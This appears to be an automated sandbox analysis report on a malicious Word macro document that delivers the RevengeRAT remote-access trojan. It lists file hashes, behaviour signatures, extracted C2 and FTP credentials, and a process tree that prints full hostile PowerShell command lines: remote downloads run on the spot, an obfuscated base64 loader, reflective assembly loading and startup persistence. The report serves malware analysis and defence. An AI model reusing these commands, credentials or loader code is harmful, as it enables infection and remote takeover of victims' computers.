Analysis

  • max time kernel
    138s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-08-2024 02:03

General

  • Target

    861375605b6f4b622556d5b04f6329440a26b38dfa066b114c55d258ac4895bc.docm

  • Size

    109KB

  • MD5

    639df28efc7717655b1d8cc618a76b1c

  • SHA1

    9e79c9d82ad07f95b09e73bbba792a889911f51e

  • SHA256

    861375605b6f4b622556d5b04f6329440a26b38dfa066b114c55d258ac4895bc

  • SHA512

    62fdd2c3b2da4481c4cb380e01a37c67f7005e5024cef3b960883b227b659e056680152d2d72002a1496e293e7f97a47d3a67f8ab890b63209a00f19862a3d6c

  • SSDEEP

    1536:vkc1B8Tf5nq7gPgP8MDw/jlQx1JE7vReOr0l77CXXNaHsdUXSIt98iuB/xDC:vV2ClwH9r0l77AnsSmy/B/xDC

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    ftp.desckvbrat.com.br
  • Port:
    21
  • Username:
    desckvbrat1
  • Password:
    developerpro21578Jp@@

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

marcelotatuape.ddns.net:333

Mutex

3e042ee793c84

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 9 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\861375605b6f4b622556d5b04f6329440a26b38dfa066b114c55d258ac4895bc.docm" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wget https://www.4sync.com/web/directDownload/rgZiV9iE/8r-wKti0.d13d81b1839707719820361a64160ba8 -o test.js; explorer.exe test.js
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2676
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe" test.js
        3⤵
          PID:612
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3264
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\test.js"
        2⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1000
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $vCHvw = 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⅕ZgBh⅕D⅕⅕NQ⅕1⅕C8⅕bwBR⅕E8⅕MgBM⅕HU⅕M⅕Bv⅕C8⅕cwBt⅕GU⅕d⅕Bp⅕C8⅕bQBv⅕GM⅕LgB0⅕Gg⅕ZwBp⅕Ho⅕LgBu⅕GQ⅕Yw⅕u⅕D⅕⅕bg⅕u⅕DE⅕cgB0⅕C4⅕NwBw⅕C8⅕Lw⅕6⅕HM⅕c⅕B0⅕HQ⅕a⅕⅕n⅕C⅕⅕L⅕⅕g⅕Cc⅕JQBE⅕EM⅕U⅕BK⅕FU⅕JQ⅕n⅕Cw⅕I⅕⅕n⅕FQ⅕cgB1⅕GU⅕MQ⅕n⅕C⅕⅕KQ⅕g⅕Ck⅕OwB9⅕Ds⅕';$vCHvw = $vCHvw.replace('⅕','A') ;$vCHvw = [System.Convert]::FromBase64String( $vCHvw ) ;;;$vCHvw = [System.Text.Encoding]::Unicode.GetString( $vCHvw ) ;$vCHvw = $vCHvw.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\test.js') ;powershell $vCHvw
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4740
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$RpGJb = $host.Version.Major.Equals(2);If ($RpGJb) {$pasta = [System.IO.Path]::GetTempPath();del ($pasta + '\Upwin.msu');$hSAHp = 'https://drive.google.com/uc?export=download&id=';$HTYfv = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ($HTYfv) {$hSAHp = ($hSAHp + 'W112AdPfI0PC7hbsci_5_0_eU7NwMZhf4x') ;}else {$hSAHp = ($hSAHp + '1brj5jqnqRxCD6VhfhAn2rcVfsRo7D8gr') ;};$fwSYp = (New-Object Net.WebClient) ;$fwSYp.Encoding = [System.Text.Encoding]::UTF8 ;$fwSYp.DownloadFile($URLKB, $pasta + '\Upwin.msu') ;$FoldStartup = ('C:\Users\' + [Environment]::UserName );$file = ($pasta + '\Upwin.msu'); powershell.exe wusa.exe $file /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\test.js' -Destination ( $FoldStartup + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$wVPlu = (New-Object Net.WebClient);$wVPlu.Encoding = [System.Text.Encoding]::UTF8;$wVPlu.Credentials = new-object System.Net.NetworkCredential('desckvbrat1','developerpro21578Jp@@');$MWfua = $wVPlu.DownloadString( 'ftp://[email protected]/Upcrypter/02/DLL01.txt' );$wVPlu.dispose();$wVPlu = (New-Object Net.WebClient);$wVPlu.Encoding = [System.Text.Encoding]::UTF8;$MWfua = $wVPlu.DownloadString( $MWfua );[Byte[]] $RXiVj_YltHK = [System.Convert]::FromBase64String( $MWfua.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $RXiVj_YltHK ).GetType( 'ClassLibrary3.Class1' ).GetMethod( 'prFVI' ).Invoke($null, [object[]] ( '22%9703cf44bd35a5c47462b7be829812f622%=v&daolnwod=ecruos&txt.4202.70.0372%72%8-FTUD3%A2%emanelif+B3%22%txt.4202.70.0322%D3%emanelif+B3%tnemhcatta=noitisopsid-tnetnoc-esnopser?txt.e45342427985-5e79-fc64-4548-097fa055/oQO2Lu0o/smeti/moc.thgiz.ndc.0n.1rt.7p//:sptth' , 'C:\Users\Admin\AppData\Local\Temp\test.js', 'True1' ) );};"
            4⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2116
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Daft SyS\\x2.ps1"
              5⤵
              • Adds Run key to start application
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4416
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Daft SyS\skowf.ps1"
              5⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1164
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2860
            • C:\Windows\system32\cmd.exe
              cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\test.js"
              5⤵
                PID:3464

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\LocalLow\Daft SyS\skowf.ps1

        Filesize

        132KB

        MD5

        c48ca9208d2d72f7c4aadc4552c4371c

        SHA1

        009a66081262d0e7ac6d9654f4d19ffe8f7b9965

        SHA256

        488da21024f08719000d1c44b00bf74fa4343eb1cccffb786efac08cba079fd5

        SHA512

        404b0062421b807cace5d4ab37b8379373045fe57bb3a020b98484b56adc1096c929319194f190edba247959a8dce7c6097b393d6a811e75941ff586e9ac71e0

      • C:\Users\Admin\AppData\LocalLow\Daft SyS\x2.ps1

        Filesize

        313B

        MD5

        80cc1e9c5788aa32935547805c78f1cf

        SHA1

        e31f8d4102408d01ac1b1fda23d9c8d26104f90f

        SHA256

        0bc10b9ab8808a6918d887094f418c68d48e5e26b4ad0f7144967f567033c84f

        SHA512

        e68eb58226c4fc013ecbc64c092ba0941c99e1731f9a973805591bede7edc4e33aa1f820163da4a159434d831d9c218e791773a8cc231e7f0dc9c83cf4169a21

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        2f57fde6b33e89a63cf0dfdd6e60a351

        SHA1

        445bf1b07223a04f8a159581a3d37d630273010f

        SHA256

        3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

        SHA512

        42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        53cbd2da07930d380c4e2c2ca9d44587

        SHA1

        d3e56b90c74a05b3bae9aeb3491281b7c5c144e7

        SHA256

        3e569b6e77c987ba5b5483c83168358b7c4c2277a46dc7cd59af7c56a40d2253

        SHA512

        9476048d43d5569a7698ae1d4f9ad836839f10ffd0242bd0b6ebed8a30392a2e2042ee16a61269cfdad118107c3cbb9fd9deb4f05e9ee37b339d958f3de0a43b

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        64B

        MD5

        5387258bc776353faff8aa820a1ad8b9

        SHA1

        b20032fc6f28f044a54400ff6f05edf28456601e

        SHA256

        fa6097f092dbbbf5b6655ad85b4bdbf427db7359430f846ad1795ee0fe94c9f9

        SHA512

        116fcf0fee9d2b38e01f9b33b8e956c48997e60fb8a41a05314eaabd864f61962907ee231d8860cbaab3f5ad5fa6018036c53f77814cc950613ac46b2ed03e3c

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        a2b24af1492f112d2e53cb7415fda39f

        SHA1

        dbfcee57242a14b60997bd03379cc60198976d85

        SHA256

        fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

        SHA512

        9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rkvnjqje.xyp.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\test.js

        Filesize

        12KB

        MD5

        4e37cf7563ad5ebcde8bfcb51a515c48

        SHA1

        b9f758dd64b60da7da2f01b680d45abaf854f41e

        SHA256

        f198a3e52894fe22bdb0b4e42347a624157b60f501ea48816bb75911c3e38331

        SHA512

        9f63413b1759b8c467a7aa146a12f709ce5a929a928f70ea00799b6246eab3d04afea884d78a87e23ab4cb5fcb8b51269d2a5221b0bb93f9cca7c3468d2359fe

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

        Filesize

        2KB

        MD5

        773310ee7af28b5f8cb6ed1228367996

        SHA1

        dcb0b7ca045da9a48f73cfd25f816969b34f6020

        SHA256

        cb2b9b92909403d7aa1c192f221a94d187f8f3d6216ab3bbc77172ca3bcbab8a

        SHA512

        cbdbdd7e6e2515339ee791f2bf3d2e299eaee637d19f7824e2a849818309c160c7434485fad9e52affac6a499a6ad83bdafabf44655550738f431ea2cee80a5c

      • memory/1164-160-0x00000264E9CE0000-0x00000264E9CEA000-memory.dmp

        Filesize

        40KB

      • memory/2116-120-0x000001D001780000-0x000001D001786000-memory.dmp

        Filesize

        24KB

      • memory/2116-119-0x000001D01A1B0000-0x000001D01A1C8000-memory.dmp

        Filesize

        96KB

      • memory/2676-82-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/2676-69-0x000001D510480000-0x000001D5104A2000-memory.dmp

        Filesize

        136KB

      • memory/2676-62-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/2860-161-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/2860-163-0x0000000005E40000-0x00000000063E4000-memory.dmp

        Filesize

        5.6MB

      • memory/4092-16-0x00007FF8EA140000-0x00007FF8EA150000-memory.dmp

        Filesize

        64KB

      • memory/4092-2-0x00007FF8EC490000-0x00007FF8EC4A0000-memory.dmp

        Filesize

        64KB

      • memory/4092-7-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-6-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-5-0x00007FF8EC490000-0x00007FF8EC4A0000-memory.dmp

        Filesize

        64KB

      • memory/4092-35-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-36-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-19-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-44-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-45-0x00007FF92C4AD000-0x00007FF92C4AE000-memory.dmp

        Filesize

        4KB

      • memory/4092-46-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-47-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-48-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-61-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-20-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-21-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-17-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-18-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-15-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-10-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-14-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-13-0x00007FF8EA140000-0x00007FF8EA150000-memory.dmp

        Filesize

        64KB

      • memory/4092-11-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-12-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-140-0x00007FF8EC490000-0x00007FF8EC4A0000-memory.dmp

        Filesize

        64KB

      • memory/4092-139-0x00007FF8EC490000-0x00007FF8EC4A0000-memory.dmp

        Filesize

        64KB

      • memory/4092-138-0x00007FF8EC490000-0x00007FF8EC4A0000-memory.dmp

        Filesize

        64KB

      • memory/4092-137-0x00007FF8EC490000-0x00007FF8EC4A0000-memory.dmp

        Filesize

        64KB

      • memory/4092-141-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-8-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-9-0x00007FF92C410000-0x00007FF92C605000-memory.dmp

        Filesize

        2.0MB

      • memory/4092-0-0x00007FF8EC490000-0x00007FF8EC4A0000-memory.dmp

        Filesize

        64KB

      • memory/4092-1-0x00007FF92C4AD000-0x00007FF92C4AE000-memory.dmp

        Filesize

        4KB

      • memory/4092-4-0x00007FF8EC490000-0x00007FF8EC4A0000-memory.dmp

        Filesize

        64KB

      • memory/4092-3-0x00007FF8EC490000-0x00007FF8EC4A0000-memory.dmp

        Filesize

        64KB